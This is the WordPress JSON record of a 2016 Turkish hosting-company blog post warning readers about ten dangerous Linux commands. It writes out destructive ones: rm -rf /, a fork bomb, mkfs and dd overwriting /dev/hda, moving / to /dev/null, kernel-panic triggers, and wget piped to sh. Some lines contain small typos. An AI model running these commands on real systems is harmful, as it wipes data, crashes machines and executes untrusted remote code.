{"id":8811,"date":"2016-10-27T09:01:06","date_gmt":"2016-10-27T07:01:06","guid":{"rendered":"https:\/\/ihs.com.tr\/blog\/?p=8811"},"modified":"2016-10-27T09:07:30","modified_gmt":"2016-10-27T07:07:30","slug":"en-tehlikeli-10-linux-komutu","status":"publish","type":"post","link":"https:\/\/www.ihs.com.tr\/blog\/en-tehlikeli-10-linux-komutu\/","title":{"rendered":"En Tehlikeli 10 Linux Komutu"},"content":{"rendered":"<p><span style=\"font-size: 14pt;\">Linux\u2019un terminal komutlar\u0131n\u0131n bir yandan g\u00fc\u00e7l\u00fc bir yandan da \u00e7al\u0131\u015ft\u0131r\u0131lmas\u0131 kolay komutlar oldu\u011fu \u00e7o\u011fu ki\u015fi taraf\u0131ndan bilinir. Bu \u00f6zellik programc\u0131lara hata alma kayg\u0131s\u0131 ya\u015famadan komut \u00e7al\u0131\u015ft\u0131rma g\u00fcc\u00fc sa\u011flar. En kolay Linux komutlar\u0131ndan biri dosya silme komutudur. Linux\u2019un sorgusuz sualsiz istedi\u011finiz her \u015feyi silebilme \u00f6zelli\u011fi, \u00f6zellikle de Windows\u2019un \u201cBu dosya silinemez\u201d komutundan b\u0131km\u0131\u015f olanlar i\u00e7in bir nimettir.<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">Fakat esas sorun, Windows\u2019un aksine Linux\u2019un bir komutu yerine getirirken size bir teyit sorusu sormamas\u0131d\u0131r. Bu Linux komutlar\u0131 \u00f6nemli sistem dosyalar\u0131n\u0131z\u0131 silebilece\u011fi gibi, \u00e7al\u0131\u015ft\u0131rd\u0131\u011f\u0131n\u0131z bu komutlar\u0131 geri alma \u015fans\u0131n\u0131z da yoktur.<\/span><\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-8844 size-medium\" src=\"https:\/\/www.ihs.com.tr\/blog\/wp-content\/uploads\/2016\/10\/linux-komutu-300x143.png\" alt=\"linux komutu\" width=\"300\" height=\"143\" srcset=\"https:\/\/www.ihs.com.tr\/blog\/wp-content\/uploads\/2016\/10\/linux-komutu-300x143.png 300w, https:\/\/www.ihs.com.tr\/blog\/wp-content\/uploads\/2016\/10\/linux-komutu.png 690w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><span style=\"font-size: 14pt;\">A\u015fa\u011f\u0131da asla \u00e7al\u0131\u015ft\u0131rmaman\u0131z gereken 10 Linux komutu yer almakta.<\/span><\/p>\n<p><strong><span style=\"font-size: 14pt;\">1- rm -rf komutu<\/span><\/strong><\/p>\n<p><span style=\"font-size: 14pt;\">Tekrarlamal\u0131 sil komutu olarak da bilinen rm -rf komutu bir dosyay\u0131 ve i\u00e7indekileri silmenin en h\u0131zl\u0131 yoludur. Fakat k\u00fc\u00e7\u00fck bir daktilo hatas\u0131 veya bilgisizlik sistemde telafisi imkans\u0131z zararlara yol a\u00e7abilir. rm komutuyla birlikte kullan\u0131lan baz\u0131 opsiyonlar \u015funlard\u0131r:<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">&#8211; rm Linux komutu dosya silmek i\u00e7in kullan\u0131l\u0131r.<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">&#8211; rm -r komutu klas\u00f6r\u00fc, hatta bo\u015f klas\u00f6rleri bile tekrarlamal\u0131 olarak siler.<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">&#8211; rm -f komutu teyit sorusu sormadan \u201cSalt okunur dosyalar\u0131\u201d siler.<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">&#8211; rm -rf \/ : K\u00f6k dizindeki her \u015feyi siler.<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">&#8211; rm -rf* Mevcut\/\u00e7al\u0131\u015fan dizindeki her \u015feyi siler.<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">&#8211; rm -rf . Mevcut klas\u00f6r\u00fc ve alt klas\u00f6rleri siler.<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">Bu y\u00fczden, rm -rf komutunu \u00e7al\u0131\u015ft\u0131raca\u011f\u0131n\u0131z zaman dikkatli olun. rm komutuyla yanl\u0131\u015fl\u0131kla dosya silmeyi \u00f6nlemek i\u00e7in \u201c.bashrc\u201d dosyas\u0131n\u0131n i\u00e7inde \u201crm\u201d komutunun di\u011fer ad\u0131 olarak \u201crm -i\u201d olu\u015fturun. Bu sayede Linux komutu \u00e7al\u0131\u015ft\u0131r\u0131p dosyay\u0131 silmeden \u00f6nce sizden teyit isteyecektir.<\/span><\/p>\n<p><strong><span style=\"font-size: 14pt;\">2- :(){:|:&amp;};: komutu<\/span><\/strong><\/p>\n<p><span style=\"font-size: 14pt;\">Bu Linux komutu asl\u0131nda bir yaz\u0131l\u0131m bombas\u0131d\u0131r. \u201c:\u201d ad\u0131nda bir fonksiyon tan\u0131mlayarak \u00e7al\u0131\u015f\u0131r ve biri \u00f6n planda, biri arka planda olmak \u00fczere kendini iki kez \u00e7a\u011f\u0131r\u0131r. Sistem donana kadar arka arkaya \u00e7al\u0131\u015f\u0131r.<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">Bu yaz\u0131l\u0131m bombas\u0131 komutu, \u00e7al\u0131\u015ft\u0131r\u0131ld\u0131\u011f\u0131nda kendini arka arkaya iki kez \u00e7a\u011f\u0131ran \u201c:\u201d ad\u0131nda bir fonksiyon tan\u0131mlar. Bu tekrarlamal\u0131 \u00e7a\u011fr\u0131lar\u0131n biri arka planda, biri \u00f6n planda olur. Di\u011fer bir deyi\u015fle, bu fonksiyon \u00e7al\u0131\u015ft\u0131\u011f\u0131nda iki s\u00fcre\u00e7 do\u011furur. Bu i\u015flem sonsuz bir d\u00f6ng\u00fcye girer. Bu d\u00f6ng\u00fcden \u00e7\u0131kman\u0131n tek yolu sistemi kapat\u0131p yeniden a\u00e7makt\u0131r.<\/span><\/p>\n<p><strong><span style=\"font-size: 14pt;\">3- Hard Diski Formatla<\/span><\/strong><\/p>\n<p><span style=\"font-size: 14pt;\">Bu terminal Linux komutu \u00f6zellikle Linux kullanmaya yeni ba\u015flayanlar i\u00e7in tehlikelidir \u00e7\u00fcnk\u00fc yanl\u0131\u015fl\u0131kla hard diski silmek i\u00e7in birka\u00e7 ortam olu\u015fturur. Tekrarlamal\u0131 silme b\u00fcy\u00fck bir yanl\u0131\u015ft\u0131r ama \u015f\u00f6yle bir \u015fey de bulunmaktad\u0131r:<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">mkfs.ext3\/dev\/hda<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">Bu Linux komutu ext3 dosya sistemini kullanmak \u00fczere hard diski formatlar. Yukar\u0131daki komut \u201csda\u201d\u2019y\u0131 tamamen formatlar. Dolay\u0131s\u0131yla bu komutu \u00e7al\u0131\u015ft\u0131rd\u0131\u011f\u0131n\u0131zda yepyeni bir hard diskiniz olur. Geride hi\u00e7bir veri b\u0131rakmadan, sisteminizi telafi edilemez bir duruma sokar.<\/span><\/p>\n<p><strong><span style=\"font-size: 14pt;\">4- Hard Diskin \u00dczerine Yaz<\/span><\/strong><\/p>\n<p><span style=\"font-size: 14pt;\">Bilgisayar\u0131n\u0131zda uzun s\u00fcre emek verdi\u011finiz bir i\u015finiz varsa bu komutu asla kullanmay\u0131n. Hard diski formatlamak en az\u0131ndan ger\u00e7ek hayatta kullan\u0131labilecek bir i\u015flemdir. Buysa hi\u00e7 ho\u015f bir durum de\u011fildir.<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">command &gt; \/dev\/hda<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">Yukar\u0131daki komutta \u201ccommand\u201din yerini herhangi bir Bash komutu alabilir. &gt; operat\u00f6r\u00fc solundaki komutu sa\u011f\u0131ndaki dosyaya y\u00f6nlendirir. Bu durumda sol taraftaki komutun ne oldu\u011funun bir \u00f6nemi kalmaz. O ham veri y\u00f6nlendirilir ve sistem hard diskinin \u00fczerine yazmak i\u00e7in kullan\u0131l\u0131r. Bu da Linux PC\u2019nizi veya laptopunuzu kullan\u0131lmaz hale getirir.<\/span><\/p>\n<p><strong><span style=\"font-size: 14pt;\">5- Hard Diski Sil<\/span><\/strong><\/p>\n<p><span style=\"font-size: 14pt;\">Bu komut hard diskinizi tamamen siler. Bozuk verileri silme veya \u00fczerine yazma de\u011fil, hard diskinizi ger\u00e7ek anlam\u0131yla s\u0131f\u0131rlarla doldurur. Her ne kadar bu komut sisteminizi ba\u015ftan kurmak istiyorsan\u0131z gerekli olabilir ama hard diski silmek de pek iyi bir fikir de\u011fildir.<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">dd if=\/dev\/zero of=\/dev\/hda<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">Buradaki dd komutu \u00e7o\u011funlukla veriyi fiziksel disklere yazmak i\u00e7in kullan\u0131lan d\u00fc\u015f\u00fck seviyeli bir talimatt\u0131r. if parametresi de verinin kayna\u011f\u0131n\u0131 belirler. Buradaki \u00f6rnekte verilen \/dev\/zero ise sonsuz bir s\u0131f\u0131r ak\u0131\u015f\u0131 olu\u015fturan \u00f6zel bir <a href=\"https:\/\/www.ihs.com.tr\/sunucu-kiralama\/bulut-sunucu.html\" target=\"_blank\">Linux<\/a> komutudur. of parametresi bu s\u0131f\u0131rlar\u0131n gidece\u011fi yeri belirler. Bu da \/dev\/hda diskidir.<\/span><\/p>\n<p><strong><span style=\"font-size: 14pt;\">6- &gt;file komutu<\/span><\/strong><\/p>\n<p><span style=\"font-size: 14pt;\">Bu komut bir dosyan\u0131n i\u00e7indekileri silmek i\u00e7in kullan\u0131l\u0131r. E\u011fer bu komut yanl\u0131\u015fl\u0131kla veya bilgisizlik sonucu \u201c&gt;xt.conf\u201d olarak \u00e7al\u0131\u015ft\u0131r\u0131l\u0131rsa konfig\u00fcrasyon dosyas\u0131 veya herhangi ba\u015fka bir sistem veya konfig\u00fcrasyon dosyas\u0131 silinir ve bilgisayar\u0131n\u0131z tamamen \u00e7\u00f6ker.<\/span><\/p>\n<p><strong><span style=\"font-size: 14pt;\">7- Hard Diski \u00c7\u00f6pe At<\/span><\/strong><\/p>\n<p><span style=\"font-size: 14pt;\">Baz\u0131 \u00f6zel nedenlerden \u00f6t\u00fcr\u00fc Linux\u2019ta \u00fczerine yaz\u0131l\u0131 olan t\u00fcm verileri \u00e7\u00f6pe atan \/dev\/null ad\u0131nda bir dosya vard\u0131r. Bunu bir kara delik veya ka\u011f\u0131t \u00f6\u011f\u00fct\u00fcc\u00fcs\u00fc olarak d\u00fc\u015f\u00fcnebilirsiniz. Bu dosyaya at\u0131lan her \u015fey kal\u0131c\u0131 olarak silinir. \/dev\/null ile \u00e7al\u0131\u015ft\u0131r\u0131lan t\u00fcm komutlar o veri dosyas\u0131n\u0131 yok eder. Fakat \/dev\/null komutunu ba\u015fka komutlarla birlikte kullan\u0131rsan\u0131z sonu\u00e7lar\u0131 sizin i\u00e7in felaket olabilir.<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">mv\/\/dev\/null<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">Bu komut sistemin k\u00f6k dizini olan \u201c\/\u201d i \/dev\/null kara deli\u011fine ta\u015f\u0131maya \u00e7al\u0131\u015f\u0131r. Bu ge\u00e7erli bir komuttur ama sonucu y\u0131k\u0131c\u0131d\u0131r. Hard disk bu kara delik taraf\u0131ndan yutulur ve geriye bir \u015fey kalmaz. Bunu yaparsan\u0131z sisteminiz kullan\u0131lmaz hale gelir.<\/span><\/p>\n<p><strong><span style=\"font-size: 14pt;\">8- ^foo^bar<\/span><\/strong><\/p>\n<p><span style=\"font-size: 14pt;\">Bu Linux komutu bir \u00f6nceki \u00e7al\u0131\u015ft\u0131rma komutunu, komutu bir daha yazmaya gerek kalmadan editlemek i\u00e7in kullan\u0131l\u0131r. Fakat orijinal komutta yap\u0131lan de\u011fi\u015fikli\u011fi ^foo^bar komutunu kullanarak dikkatli bir \u015fekilde kontrol etmezseniz, sonu\u00e7lar\u0131 \u00e7ok can s\u0131k\u0131c\u0131 olabilir.<\/span><\/p>\n<p><strong><span style=\"font-size: 14pt;\">9- Kernel Pani\u011fine Neden Ol<\/span><\/strong><\/p>\n<p><span style=\"font-size: 14pt;\">Windows\u2019un o me\u015fhur mavi ekran\u0131 varsa, Linux\u2019un da Kernel Panic ad\u0131 verilen benzer bir mavi ekran\u0131 vard\u0131r. Bazen d\u00fczeltilmesi m\u00fcmk\u00fcn olmayan bir sistem hatas\u0131 olu\u015fur, bu y\u00fczden mavi ekrana benzer bir ekran belirir: Kernel pani\u011fi.<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">dd if=\/dev\/random of=\/dev\/port<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">echo 1 &gt; \/proc\/sys\/kernel\/panic<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">cat \/dev\/port<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">cat \/dev\/zero &gt; \/dev\/mem<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">Yukar\u0131daki bu komutlar \u00f6nemli de\u011fil. \u00d6nemli olan \u015fey bu komutlardan herhangi birinin \u00e7al\u0131\u015fmas\u0131n\u0131n kernel pani\u011fine neden olaca\u011f\u0131 ve sizi sisteminizi kapat\u0131p a\u00e7maya mecbur b\u0131rakaca\u011f\u0131. E\u011fer yapt\u0131\u011f\u0131n\u0131z \u015feyden kesinkes emin de\u011filseniz bu komutlardan uzak durmakta fayda var.<\/span><\/p>\n<p><strong><span style=\"font-size: 14pt;\">10- Kar\u015f\u0131daki Komut Dosyas\u0131n\u0131 \u00c7al\u0131\u015ft\u0131r<\/span><\/strong><\/p>\n<p><span style=\"font-size: 14pt;\">Bu da asl\u0131nda g\u00fcndelik kullan\u0131mda faydal\u0131 olabilecek bir Linux komutu. wget bir web URL\u2019sindeki i\u00e7eri\u011fi \u00e7a\u011f\u0131r\u0131r, bu da web sitelerine eri\u015fmek veya dosya indirmek i\u00e7in kullan\u0131l\u0131r. Ancak, bu komutu tehlikeli hale getiren basit bir numara vard\u0131r:<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">wget http:\/\/g\u00fcvenilmeyen-bir-url -O- | sh<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">wget htto:\/\/k\u00f6t\u00fc_ama\u00e7l\u0131_kaynak -O- | sh komutu k\u00f6t\u00fc ama\u00e7l\u0131 bir kaynaktaki komut dosyas\u0131n\u0131 indirir ve \u00e7al\u0131\u015ft\u0131r\u0131r. Wget komutu bu komut dosyas\u0131n\u0131 indirir, sh komutu ise \u00e7al\u0131\u015ft\u0131r\u0131r. E\u011fer buradaki URL k\u00f6t\u00fc ama\u00e7l\u0131 bir komut dosyas\u0131na g\u00f6nderiyorsa bu komut vas\u0131tas\u0131yla kendi sonunuzu haz\u0131rlam\u0131\u015f olursunuz.<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Linux\u2019un terminal komutlar\u0131n\u0131n bir yandan g\u00fc\u00e7l\u00fc bir yandan da \u00e7al\u0131\u015ft\u0131r\u0131lmas\u0131 kolay komutlar oldu\u011fu \u00e7o\u011fu ki\u015fi taraf\u0131ndan bilinir. Bu \u00f6zellik programc\u0131lara hata alma&hellip;<\/p>\n","protected":false},"author":3,"featured_media":8848,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-8811","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-haberler"],"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/www.ihs.com.tr\/blog\/wp-json\/wp\/v2\/posts\/8811","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ihs.com.tr\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ihs.com.tr\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ihs.com.tr\/blog\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ihs.com.tr\/blog\/wp-json\/wp\/v2\/comments?post=8811"}],"version-history":[{"count":3,"href":"https:\/\/www.ihs.com.tr\/blog\/wp-json\/wp\/v2\/posts\/8811\/revisions"}],"predecessor-version":[{"id":8847,"href":"https:\/\/www.ihs.com.tr\/blog\/wp-json\/wp\/v2\/posts\/8811\/revisions\/8847"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ihs.com.tr\/blog\/wp-json\/wp\/v2\/media\/8848"}],"wp:attachment":[{"href":"https:\/\/www.ihs.com.tr\/blog\/wp-json\/wp\/v2\/media?parent=8811"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ihs.com.tr\/blog\/wp-json\/wp\/v2\/categories?post=8811"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ihs.com.tr\/blog\/wp-json\/wp\/v2\/tags?post=8811"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}